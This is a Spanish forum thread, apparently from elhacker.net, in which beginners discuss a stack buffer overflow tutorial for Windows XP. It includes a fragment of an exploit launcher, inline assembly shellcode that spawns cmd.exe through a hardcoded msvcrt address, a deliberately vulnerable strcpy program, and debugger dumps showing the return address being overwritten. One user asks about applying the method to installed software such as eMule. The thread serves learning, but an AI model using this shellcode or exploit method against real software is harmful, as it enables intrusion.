argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vulnerable.exe",argv);
}
El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read.
Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo:
#include <stdio.h>
#include <windows.h>
void main () {
LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf93c7
call ebx
}
}
Saludos y gracias........
Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje
CitarPor otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se
me genera el exe.
si lo pudiste ejecutar, es porque ya se genero un exe.
Saludos!!
En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe... cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error:
Debug error!
program....
Module:
File: i386\chkesp.c
Line 42
the value of ESP was not properly saved across a function call............
De todas formas estoy empezando desde el principio... y releyendo el tuto....
Gracias por tu ayuda
exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo.
gracias :xD
Hehe stack overflow es una tecnica muy antigua,
alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ...
Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel.
http://jolmos.blogspot.com (http://jolmos.blogspot.com)
Hehe stack overflow es una tecnica antigua y sencilla, la gracia está en petar las protecciones que impiden que se desvíe el flujo de ejecución.
¿alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR?
Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel.
Hola a todos, desde hace unos dias me he dedicado <<por sobra de tiempo :( despedido injustamente ;D>> a hacer algunas travesuras por la red este foro se me hace de poca m... en horabuena
Sin embargo tengo una triste duda de novato (ojo ya busque en la ayuda bla bla) :rolleyes:de donde carajos bajo el adjunto :huh:
Esta como archivo adjunto, para descargarlo, hay que estar registrado :P ;D (cosas del admin) ;D
Bajo del post salen los archivos adjuntos... http://foro.elhacker.net/index.php?action=dlattach;topic=57910.0;attach=673
Saludos
que buen manual, aun lo estoy leyendo, pero me surguio una duda, en una partes cuando explicabas el primer codigo, en fin apretavas F8 para ver lo que venia y pusiste esto
0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas
AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs)
AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10 77BE2048 msvcrt.77BE2048
0022FF14 0022FEF8
0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA"
0022FF20 77C03EB0 msvcrt._except_handler3
0022FF24 00000000
0022FF28 41414141 <-- Aqui empieza la variable buffer
0022FF2C 41414141
0022FF30 41414141
0022FF34 41414141
0022FF38 41414141
0022FF3C 41414141
0022FF40 41414141
0022FF44 41414141
0022FF48 41414141
0022FF4C 41414141
0022FF50 41414141
0022FF54 41414141
0022FF58 41414141
0022FF5C 41414141
0022FF60 41414141
0022FF64 41414141
0022FF68 41414141
0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A
partir de aquí hemos hecho el overflow.
0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con
AAAA
0022FF78 41414141
0022FF7C 41414141
0022FF80 41414141
0022FF84 41414141
lo que yo me pregunto ahi es, como sabes que en 0022FF6C termina los 64b ?
porque no le veo logica viendo que hay 18 celdas desde que empieza hasta que termina....
gracias
excelente manual :o ahora me kedara mas claro lo que es stacj overflows :xD
Cita de: ~[uNd3rc0d3]~ en 5 Agosto 2008, 16:33 PM
lo que yo me pregunto ahi es, como sabes que en 0022FF6C termina los 64b ?
porque no le veo logica viendo que hay 18 celdas desde que empieza hasta que termina....
gracias
4 bytes por fila (AAAA)
18 filas x 4 bytes = 64 bytes.
Interesante manual ::)
Emm no... 18 *4 = 72...
Cita de: APOKLIPTICO en 22 Septiembre 2008, 01:55 AM
Emm no... 18 *4 = 72...
Estaba en babia....
Pues por alguna razon añadira 8 bytes de mas en el buffer al compilarlo con Dev Cpp.
Holaaaaa, bueno tengo una dudilla acabo de empezar con esto asique, sed amables ^^^^
bueno cuando cojo el dev-c++ compiler y compilo el primer código del tutorial me da un error en la linea
strcpy (buffer, argv[1]);
este es el codigo del tutorial:
#include <stdio.h>
int main (int argc, char **argv){
char buffer[64];
if (argc < 2){
printf ("introduzca un argumento al programa\n");
return 0;
}
strcpy (buffer, argv[1]);
return 0;
}
y este es la notificación del error:
In function `int main(int, char**)':
`strcpy' undeclared (first use this function)
(Each undeclared identifier is reported only once for each function it apperars in.)
[build error] [jarmenkell.o] Error 1
:S:S:S:S ni idea, aver si me podeis hechar un cable,
un saludo gracias!!
perdon, soy un inutil ajjaj, lo habia guardado como .c xDD duda resuelta, gracias!!
una cosita mas, esto funciona solo bajo xp?, lo stoy probando en vista y en el olly no se ve que sobreescriba la EIP.... :o
tambien tengo montado un xp x64 version, algun problema en las pruebas respecto a xp sp1 o sp2?
gracias
por lo del sp entre 1 y 2 o 3, lo que cambia son las direcciones que tienes que usar como RET al jmp esp, sin embargo deberia de funcionar tratandose de windows XP 64 bits Los ejemplos pueden cambiar drasticamente, pero sinceramente no lo he probado a 64 bits y tampoco con windows Vista.
Saludos.
pues ya te digo, en vista no se sobreescribe con AAAA.... el eip ni a tiros, eso si, el programa casca de lo lindo cuando le meto mil AAAAA xDD, iré haciendo algunas pruebas mas aver si saco algo,
gracias por contestar aún asi,
saludos y felices fiestas!! :laugh:
Os voy a poner unas cuantas cosas para no dar mucho la vara, supongo que esto también será de ayuda al resto que como yo esté empezando...
Supongamos que tengo un programa en mi equipo, instalado y todo, ej; emule
abro emule con olly y que hago le meto en argumento todas las AAAAAAA???
findjmp --> que tendria que buscar con el?
por mas que leo y leo no doy con la solucion a todas estas cosas, ando un poco perdido de tanto leer de varias paginas que alfinal acabo confundido
un saludo y muchas gracias
Bueno os dejo estas capturas de la salida de olly con el codigo del manual,
como deberia de interpretar esto?
(http://img371.imageshack.us/img371/2138/51175792md3.png)
(http://img517.imageshack.us/img517/1797/11105836wi9.png)
(http://img515.imageshack.us/img515/7707/28830378qn8.png)
(http://img155.imageshack.us/img155/797/27904235sg1.png)
:D justo lo que buscaba hace tiempo :) juajua algo practico para iniciarme :) Ty men .... working
Muchísimas gracias por el texto.. ;-) me lo voy a leer con calma.. :rolleyes:
Saludos ::)
Amigos buenos dias.
Estoy tratando de bajar el manual de bugs y exploit y lo relacionado al exploit de pila pero el enlace del material ya no existe.
Alguien que lo haya descargado puede volver a postearlo ?
Quiero estudiar el tema